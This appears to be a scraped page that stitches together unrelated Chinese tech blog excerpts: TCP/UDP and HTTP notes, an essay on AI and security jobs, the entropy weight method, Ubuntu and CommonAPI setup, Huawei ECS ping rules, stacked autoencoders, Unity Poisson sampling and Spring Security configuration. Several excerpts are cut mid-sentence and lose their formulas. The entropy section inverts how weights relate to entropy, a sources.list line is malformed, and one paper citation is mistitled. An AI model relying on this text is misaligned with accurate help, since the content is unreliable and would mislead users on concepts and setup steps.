就是一种无状态的协议,他对用户的操作没有记忆能力。可能大多数用户不相信,他可能觉得每次输入用户名和密码登陆一个网站后,下次登陆就不再重新输入用户名和密码了。这其实不是 HTTP 做的事情,起作用的是一个叫做 小甜饼(Cookie) 的机制。它能够让浏览器具有记忆能力。 4. UDP 和 TCP 的区别 UDP 是什么? UDP 的全称是 User Datagram Protocol,用户数据报协议。它不需要所谓的握手操作,从而加快了通信速度,允许网络上的其他主机在接收方同意通信之前进行数据传输。 数据报是与分组交换网络关联的传输单元。 UDP 的特点主要有: UDP 能够支持容忍数据包丢失的带宽密集型应用程序 UDP 具有低延迟的特点 UDP 能够发送大量的数据包 UDP 能够允许 DNS 查找,DNS 是建立在 UDP 之上的应用层协议。 TCP 是什么? TCP 的全称是Transmission Control Protocol ,传输控制协议。它能够帮助你确定计算机连接到 Internet 以及它们之间的数据传输。通过三次握手来建立 TCP 连接,三次握手就是用来启动和确认 TCP 连接的过程。一旦连接建立后,就可以发送数据了,当数据传输完成后,会通过关闭虚拟电路来断开连接。 TCP 的主要特点有: TCP 能够确保连接的建立和数据包的发送 TCP 支持错误重传机制 TCP 支持拥塞控制,能够在网络拥堵的情况下延迟发送 TCP 能够提供错误校验和,甄别有害的数据包。 TCP 和 UDP 的区别(重点来了) TCP 是面向连接的协议 。 UDP 是无连接的协议 TCP 在发送数据前先需要建立连接,然后再发送数据 。 UDP 无需建立连接就可以直接发送大量数据 TCP 会按照特定顺序重新排列数据包 。 UDP 数据包没有固定顺序,所有数据包都相互独立 TCP 传输的速度比较慢 。 UDP 的传输会更快 TCP 的头部字节有 20 字节 。 UDP 的头部字节只需要 8 个字节 TCP 是重量级的,在发送任何用户数据之前,TCP需要三次握手建立连接。 UDP 是轻量级的。没有跟踪连接,消息排序等。 TCP 会进行错误校验,并能够进行错误恢复 。 UDP 也会错误检查,但会丢弃错误的数据包。 TCP 有发送确认。 UDP 没有发送确认 TCP 会使用握手协议,例如 SYN,SYN-ACK,ACK。 UDP无握手协议 TCP 是可靠的,因为它可以确保将数据传送到路由器。 UDP 中不能保证将数据传送到目标。 5、说一下Http协议中302状态? http协议中,返回状态码302表示重定向。这种情况下,服务器返回的头部信息中会包含一个Location字段,内容是重定向到的url。

ChatGPT的出现网络安全专家是否会被替代?

ChatGPT的横空出世,在业界掀起了惊涛骇浪。很多人开始担心,自己的工作岗位是否会在不久的将来被ChatGPT等人工智能技术所取代。网络安全与先进技术发展密切相关,基于人工智能的安全工具已经得到很多的应用机会,那么未来是否更加可期呢? ​ 借助先进的机器学习,自动化工具在行为模式上会越来越精确。然而,机器不会创造自己,也没有独立思想。网络攻防间的较量归根到底体现在技能上,而运用这些技能需要人。有人猜测机器会取代人从事技术性工作,但很多事实证明,在网络安全防护领域,人依然不可或缺。 以下是网络安全专家在未来网络安全建设中不会被AI工具取代的8个理由: 01 采取行动的直觉 自动化网络安全工具可以按照设计的流程运行。虽然这些工具能够并且已经在通过机器学习等技术来训练识别各种网络攻击的行为模式,但威胁行为无穷无尽,并且不断发展变化,遇到新出现的攻击情况时,智能化工具就会无力应对,因为它们缺乏相应的针对性训练。但是经验丰富的安全专家却能根据经验识别异常行为,并采取积极的行动来快速应对。 在安全事件响应活动中,时间往往是遏制攻击的关键。在应对新出现的威胁时,企业不可能有足够的时间去优化工具。但网络安全专家可以见机行事,迅速采取行动以扭转局面。 02 面对威胁时的分析能力 为了绕过现在企业组织构建的体系化防御措施,攻击者通常会应用多种复杂的网络攻击手段,这些威胁来自多个层面,会造成错觉,从而误导防御系统。分析能力是从事网络安全工作所需的技能之一。从业人员可以将复杂的威胁视为挑战,剖析攻击途径,分析每个细节,揭露复杂威胁的真相。 要化解复杂的攻击威胁,就需要追根溯源,仔细分析威胁起源。由于缺乏相应信息,AI工具无法在安全威胁分析时,将以前的攻击事件进行关联,这就需要安全专家全面评估攻击线索,追查来源。 03 对应用环境和场景的理解 尽管企业安装了安全系统,但攻击者还是会渗入到一些网络中。这是由于每个不同的网络系统和应用都有自己的特殊性,并不完全适用于标准化的防护措施。网络安全防护只有结合具体的应用场景和环境才能真正发挥作用。而自动化工具也需要人的帮助才能摸清数字环境的具体情况。当出现相似的攻击途径时,需要安全专家人工来识别出具体的差别,并针对每种情况制定最合适的安全策略,从而获得更好的防护效果。 04 应对变化的灵活性 任何成熟的防护计划可能会因攻击方式的变化而毫无成效。由于自动化网络安全工具旨在以某种模式化的措施发挥其最大功效,因此难免会显得僵硬死板,缺乏快速适应攻击模式不断变化的灵活性。 在任何时候,网络安全工作都不会是一成不变的,对网络安全工作者的一个基本技能要求,就是要可以适应不同的情况。这不仅仅事关响应效果,还会影响到响应的效率。安全专家需要灵活选择最好的方式去完成工作。 05 团队协作时的沟通能力 有效的网络安全防护需要各种能力和协同与合作。虽然机器之间可以通过程序彼此联系,但这种协同是有限制的。网络安全防护技术正在不断发展,这归功于相关安全专家们的通力合作,才获得不断的突破创新。网络防御者之间的积极沟通可以高效阻止攻击,及时、清晰地分享有价值的信息还可以预防一些后果严重的网络攻击。 06 使用工具的主动性 由于网络系统应用牵涉方方面面,几乎没有哪个安全工具能满足所有的网络安全需求,因此必须提供多种工具来满足诸多方面的需求。而机器是无法自我组织和协作的,需要人来识别、创建和构建高效的网络安全体系。因此,网络安全的防护效果取决于人的主动性,不仅要主动部署合适的工具,还要主动确保有效地使用工具,网络安全专家必须了解各种网络安全系统是如何工作的,将出色的工具部署到错误的地方只会适得其反。 07 网络安全意识培养 很大一部分网络攻击是人为错误造成的。网络攻击者发动网络钓鱼等利用社会工程伎俩的攻击,引诱毫无戒备的受害者与恶意内容互动。虽说企业可以安装工具来检测面临威胁的内容,但这些工具无法主动培养提升企业员工的网络安全意识。 为了培养健康的网络安全文化,企业需要接受专业人士的系统培训。所有员工的网络安全意识越强,在遭受网络攻击时的危害就会越小。 08 对自动化工具的管理和优化 各种先进的工具系统都需要基于人的配置来进行工作。如果配置的参数不合理或者不科学,系统就会运作失常,导致不准确的诊断和行动。因此,自动化工具的稳定运行需要安全专家来保障相关配置的正常和优化。此外,当开发人员更新工具版本时,还需要人来确定自动化工具软件版本是否得到及时更新。

熵权法计算权重

文章目录 1. 多属性决策问题2. 熵(entropy)3. 信息熵4. 熵权法5. 熵权法的实现 基于信息论的熵值法是根据各指标所含信息有序程度的差异性来确定指标权重的客观赋权方法,仅依赖于数据本身的离散程度。 熵用于度量不确定性,指标的离散程度越大(不确定性越大)则熵值越大,表明指标值提供的信息量越多,则该指标的权重也应越大。 1. 多属性决策问题 熵权法多用于多属性决策问题中求解各个属性的权值。我们先简单介绍下多属性决策: 多属性决策指的是在考虑多个属性的情况下,对一组(有限个)备选方案进行排序或者择优。 主要包含以下几个组成部分: (1)获取属性信息。 (2)属性权重确定:包括主观赋权法、客观赋权法、主客观结合的赋权法。 (3)多属性决策:对决策所需的属性信息进行集结,并基于相应策略对备选方案进行排序和择优。 这里,假设我们的数据的样本数量为 n n n,每个样本有 j j j个feature,那么对于一个样本的一个feature的取值为: x i j x_{ij} xij​ 其中: i i i :第个样本 j j j :第个feature 假设有这样一个应用场景,由于每一个样本都有很多feature,我想把这个样本的这些feature总结为一个值,应该怎么做?即 我们有一万种方法能达到这个目的,有了这个值,我们就可以进行排名、比较等操作。所以,这个值还得有点实际意义,不能是瞎攒出来的一个数。 熵权法(EEM, entropy evaluation method)是根据指标信息熵的大小对指标客观赋值的一种方法,信息熵越大,代表该指标的离散程度很大,包含的信息就多,所赋予的权重就越大。也就是说,这个方法实际上关注的是变量的取值的多样性,取值大小差异越大的,即离散程度越高的,就说明这个feature的重要程度很大,包含了更多的信息。 2. 熵(entropy) 熵的概念是由德国物理学家克劳修斯于1865年所提出。最初是用来描述“能量退化”的物质状态参数之一,在热力学中有广泛的应用。 热力学第二定律又被称为”熵增“定律,从它的描述中大家也能明白一二:在自然状态下,热量只会从热水杯传递给冷水杯,这个过程是不可逆的,而”熵“则是这个不可逆过程的度量。换而言之,封闭系统的熵只会不变或增加,不会减少。关于“热力学熵”,最原始的宏观表达式是: 那时的熵仅仅是一个可以通过热量改变来测定的物理量,其本质仍没有很好的解释,直到统计物理、信息论等一系列科学理论发展,熵的本质才逐渐被解释清楚,即,熵的本质是一个系统“内在的混乱程度”。 3. 信息熵 信息熵是一个数学上颇为抽象的概念,由大名鼎鼎的信息论之父——克劳德 • 香农提出。在这里不妨把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。 一般说来,信息熵的表达式为: 举例1: 假设一个硬币,投出正反两面的概率都是50%,那么它的entropy为: 也就是说,一个公平的硬币,其正反面概率都是50%的情况下,熵最大化了。这件事推广到有多个面的骰子也是一样的,每个事件出现的概率越接近,样本的混乱程度就越高,熵就越大。而如果某个事件的出现概率是压倒性的,比其他所有事件出现概率加一起都高得多,那么熵就会比较小。 举例2: 假设4个元素,每个元素的feature有1个特征x1,并且它有个类型y,即 我们发现一个很有趣的现象,就是进行分组以后,熵降低了。这实际上就是决策树的基本原理,通过对属性进行分割,从而降低整体的混乱程度。即对一个属性的不同取值进行分组以后,每一组的混乱程度做个加权和,整体混乱程度要比分组之前的混乱程度还要低,也就是说每一组都更纯粹一些。 当然,这里计算entropy的 l o g 2 log_2 log2​是以2为底,也可以以自然对数为底,函数图像形状是基本不变的。 4. 熵权法 回到最开始我们问的问题,就是我怎么对一大堆指标(feature)进行综合一下,形成一个综合的值。当然我们就是用简单的加权和来做,但是我们还希望这个值具有一定的代表性。这个代表性我们就视为该feature下取值的多样性,或者说离散程度。

Ubuntu22.04安装

Ubuntu安装 这里写目录标题 Ubuntu安装Ubuntu安装一、下载镜像二、安装 Ubuntu安装sysv-rc-conf Ubuntu安装 一、下载镜像 下载地址:https://ubuntu.com/download/server [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gc4vahaM-1676965762527)(…/AppData/Roaming/Typora/typora-user-images/image-20230123142941598.png)] 此次安装是22.04版本 二、安装 可以直接阅读官方文档进行安装:https://ubuntu.com/server/docs/tutorials 1.语言选择 2.刷新 3.键盘 4.网络 配置网络。我们仅作为自己私人的服务器默认配置就够了。 5.代理 一直选择done 6.镜像 7.存储 这里可以选择默认,也可以进行自定义配置。存储有自己的文档页面。 确认存储配置后,将在后台开始安装。 8.身份 9.固态度 这里可以选择上ssh,因为ubuntu很多功能都是没有安装的 继续done 11.安装日志 安装好后reboot Ubuntu安装sysv-rc-conf 先登录root账号,然后编辑source.list文件 su vim /etc/apt/sources.list 在末尾加入: deb http://archive.ubuntu.com/ Ubuntu / trust main universe limited multiuniverse 保存后,更新源的信息: apt update 然后就可以安装了 apt install sysv-rc-conf 出现错误 解决方法 sudo dpkg -i --force-overwrite <filename> 这里是 dpkg -i --force-overwrite /var/cache/apt/archives/sysv-rc_2.88dsf-41ubuntu6_all.deb 再次安装 apt install sysv-rc-conf 不在报错

构建CommonAPI c++ 和some/IP环境

获取common API C++ git clone https://github.com/COVESA/capicxx-core-runtime.git 第一次编译capicxx-core-runtime cd capicxx-core-runtime/ mkdir build cd build/ ls cmake .. 报错 缺少 No package ‘automotive-dlt’ found 获取dlt git clone https://github.com/GENIVI/dlt-daemon.git cd dlt-daemon/ mkdir build cd build/ cmake .. make 编译dlt-daemon错误 /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: error: ‘__builtin_strncpy’ specified bound 10 equals destination size [-Werror=stringop-truncation] vi /home/hippo/CommonAPI/dlt-daemon/src/console/dlt-control-common.c 把size改成 size - 1 make sudo make install sudo ldconfig 第二次编译capicxx-core-runtime 安装依赖模块 sudo apt-get install doxygen sudo apt-get install graphviz sudo apt-get install doxygen-doc doxygen-gui sudo apt-get install asciidoc fop 第三次编译capicxx-core-runtime cmake .

无法ping 通华为云ECS服务器公网IP的解决方法

ping 华为云公网IP,请求超时: 在使用华为云ECS服务器过程中无法ping通公网地址, 可能为安全组没有添加ICMP协议规则 解决: 登录华为云 - - -> 控制台 —> 云服务器ECS --> 往左下找到 安全组 ; 找到安全组规则, 右上角点击添加安全组规则:添加ICMP入方向规则 添加成功:

基于堆叠自编码器(SAE)的图像特征提取与图像分类——附代码

目录 摘要: 一、自动编码器基本概念(Auto-Encoder,AE) 二、堆叠自编码器(SAE)的原理 2.1 第一层AE 2.2 第二层AE 2.3 第三层 2.4 组合 三、具体的实现步骤: 3.1 准备训练数据 3.2 分步训练SAE 3.3 分类结果 4. 本文Matlab代码 摘要: 基于Matlab平台,构建并训练堆叠自编码器对手写图片进行特征提取,然后使用提取到的图像特征信息对手写图像(0-9的手写数字图)进行识别与分类,并测试其分类的准确度。堆叠自编码器(SAE)具有多个隐含层的神经网络可用于处理复杂数据(例如图像)的分类问题。每个层都可以学习不同抽象级别的特征。然而,在实际工作中,训练具有多个隐含层的神经网络可能会很困难。本文使用一种有效训练具有多个层的神经网络的方法是一次训练一个层。为此,您可以为每个所需的隐含层训练一种称为自编码器的特殊类型的网络。此示例说明如何训练具有两个隐含层的神经网络以对图像中的数字进行分类。首先,使用自编码器以无监督方式单独训练各隐含层。然后训练最终 softmax 层,并将这些层连接在一起形成堆叠网络,该网络最后以有监督方式进行训练。 一、自动编码器基本概念(Auto-Encoder,AE) 自编码器(autoencoder)是神经网络的一种,经过训练后能尝试将输入复制到输出。自编 码器内部有一个隐藏层h,可以产生编码(code)表示输入。该网络可以看作由两部分组 成:一个由函数h=f(X)表示的编码器和一个生成重构的解码器r=g(h)。我们不应该将自 编码器设计成输入到输出完全相等。这通常需要向自编码器强加一些约束,使它只能近似 地复制,并只能复制与训练数据相似的输入。自动编码机由三层网络组成,其中输入层神经元数量与输出层神经元数量相等,中间层神 经元数量少于输入层和输出层。 搭建一个自动编码器需要完成下面三样工作:搭建编码器, 搭建解码器,设定一个损失函数,用以衡量由于压缩而损失掉的信息(自编码器是有损的)。编码器和解码器一般都是参数化的方程,并关于损失函数可导,典型情况是使用神经网络。编码器和解码器的参数可以通过最小化损失函数而优化. 自动编码机(Auto-encoder)是一个自监督的算法,并不是一个无监督算法,它不需要对 训练样本进行标记,其标签产生自输入数据。因此自编码器很容易对指定类的输入训练出 一种特定的编码器,而不需要完成任何新工作。自动编码器是数据相关的,只能压缩那些 与训练数据类似的数据。比如,使用人脸训练出来的自动编码器在压缩别的图片,比如树 木时性能很差,因为它学习到的特征是与人脸相关的。~ 自动编码器运算过程:原始input(设为)经过加权(W、b)、映射(Sigmoid)之后得到 y,再对y反向加权映射回来成为z。通过反复迭代训练两组(W、b),目的就是使输出信 号与输入信号尽量相似。训练结束之后自动编码器可以由两部分组成: 1.输入层和中间层,可以用这个网络来对信号进行压缩 2.中间层和输出层,我们可以将压缩的信号进行还原 二、堆叠自编码器(SAE)的原理 之前之所以将自编码器模型表示为3层的神经网络,那是因为训练的需要,我们将原始数据作为假想的目标输出,以此构建监督误差来训练整个网络。等训练结束后,输出层就可以去掉了,因为我们只关心的是从(x)到(h)的变换。 接下来的思路就很自然了,我们已经得到特征表达(h),那么我们可不可以将(h)再作为原始信息,训练一个新的自编码器,得到新的特征表达呢?当软可以,而且这就是所谓的堆叠自编码器(Stacked Autoencoder,SAE)。Stacked就是逐层堆叠的意思,这个跟“栈”有点像。当把多个自编码器Stack起来之后,这个系统看起来就像这样: ​ 2.1 第一层AE 这样就把自编码器改成了深度结构了,即《learning multiple levels of representation and abstraction》(Hinton, Bengio, LeCun, 2015)。需要注意的是,整个网络的训练不是一蹴而就的,而是逐层进行的。比如说我们要训练一个(n -> m -> k) 结构的网络,实际上我们是先训练网络(n -> m -> n),得到(n -> m)的变换,然后再训练(m -> k -> m)网络,得到(m -> k)的变换。最终堆叠成SAE,即为(n -> m -> k)的结果,整个过程就像一层层往上面盖房子,这就是大名鼎鼎的 layer-wise unsuperwised pre-training (逐层非监督预训练)。

基于Unity的PoissonDiscSampling泊松盘采样 随机分布位置不均匀的点

根据长宽随机分布大小不均匀的位置点 using System.Collections; using System.Collections.Generic; using UnityEngine; public static class PoissonDiscSamplingTool { public static List<Vector2> GeneratePoints(float radius, Vector2 sampleRegionSize, int numSamplesBeforeRejection = 30) { float cellSize = radius / Mathf.Sqrt(2); int[,] grid = new int[Mathf.CeilToInt(sampleRegionSize.x / cellSize), Mathf.CeilToInt(sampleRegionSize.y / cellSize)]; List<Vector2> points = new List<Vector2>(); List<Vector2> spawnPoints = new List<Vector2>(); spawnPoints.Add(sampleRegionSize / 2); while (spawnPoints.Count > 0) { int spawnIndex = Random.Range(0, spawnPoints.Count); Vector2 spawnCentre = spawnPoints[spawnIndex]; bool candidateAccepted = false; for (int i = 0; i < numSamplesBeforeRejection; i++) { float angle = Random.

SpringSecurity前后端分离(包含token和验证码登录)

SpringSecurity前后端分离 从上至下操作,直接上手SpringSecurity 文章目录 SpringSecurity前后端分离1、项目环境maven依赖数据库表 2、自定义UserService接口3、屏蔽Spring Security默认重定向登录页面以实现前后端分离功能1、实现登录成功/失败、登出处理逻辑1、表单形式登录一、自定义登录接口二、自定义登录成功,失败的错误逻辑处理三、自定义用户未登录逻辑四、退出登录 2、使用JSON格式进行登录 4、实现基于数据库的动态权限控制 SpringSecurity+JWT实现token登录结合验证码实现登录生成验证码结合验证码登录 1、项目环境 maven依赖 使用的是Mybatis-Plus做数据库操作 <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.2.1.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.2.0</version> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.15</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies> 数据库表 1、用户表(sys_user) 密码是加密后的(123456) /* Navicat Premium Data Transfer Source Server : 本机 Source Server Type : MySQL Source Server Version : 80029 Source Host : localhost:3306 Source Schema : game Target Server Type : MySQL Target Server Version : 80029 File Encoding : 65001 Date: 10/02/2023 17:04:23 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for sys_user -- ---------------------------- DROP TABLE IF EXISTS `sys_user`; CREATE TABLE `sys_user` ( `id` int NOT NULL AUTO_INCREMENT, `account` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '账号', `user_name` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '用户名', `password` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户密码', `last_login_time` datetime NULL DEFAULT NULL COMMENT '上一次登录时间', `enabled` tinyint(1) NULL DEFAULT 1 COMMENT '账号是否可用。默认为1(可用)', `not_expired` tinyint(1) NULL DEFAULT 1 COMMENT '是否过期。默认为1(没有过期)', `account_not_locked` tinyint(1) NULL DEFAULT 1 COMMENT '账号是否锁定。默认为1(没有锁定)', `credentials_not_expired` tinyint(1) NULL DEFAULT 1 COMMENT '证书(密码)是否过期。默认为1(没有过期)', `create_time` datetime NULL DEFAULT NULL COMMENT '创建时间', `update_time` datetime NULL DEFAULT NULL COMMENT '修改时间', `create_user` int NULL DEFAULT NULL COMMENT '创建人', `update_user` int NULL DEFAULT NULL COMMENT '修改人', PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 3 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户表' ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of sys_user -- ---------------------------- INSERT INTO `sys_user` VALUES (1, 'user1', '用户1', '$2a$10$47lsFAUlWixWG17Ca3M/r.